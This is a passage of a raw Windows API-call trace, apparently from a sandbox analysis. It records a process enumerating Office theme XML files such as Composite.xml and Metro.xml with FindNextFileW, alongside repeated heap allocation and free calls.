Size=0x80) returned 0xa256b8 [0072.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5de28 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77ce8 [0072.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.193] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="")) returned 1 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5de48 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77df0 [0072.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.193] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="")) returned 1 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5de68 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77ef8 [0072.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.194] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5de88 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78000 [0072.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.194] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="")) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dea8 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78108 [0072.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.195] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dec8 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78210 [0072.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.195] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="")) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dee8 [0072.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78318 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x2bc0) returned 0xa7c338 [0072.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa797b0) returned 1 [0072.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.196] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="")) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5df08 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78420 [0072.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.196] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5df28 [0072.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78528 [0072.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.197] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5df48 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78630 [0072.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.197] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="")) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5df68 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78738 [0072.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.197] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0072.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5df88 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78840 [0072.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.198] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="")) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dfa8 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78948 [0072.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.198] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dfc8 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78a50 [0072.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.199] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5dfe8 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78b58 [0072.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.199] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e008 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78c60 [0072.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.200] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e028 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78d68 [0072.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.200] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="")) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e048 [0072.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78e70 [0072.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.201] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e068 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa78f78 [0072.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.201] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa5e088 [0072.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa79080 [0072.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0072.202] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0072.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 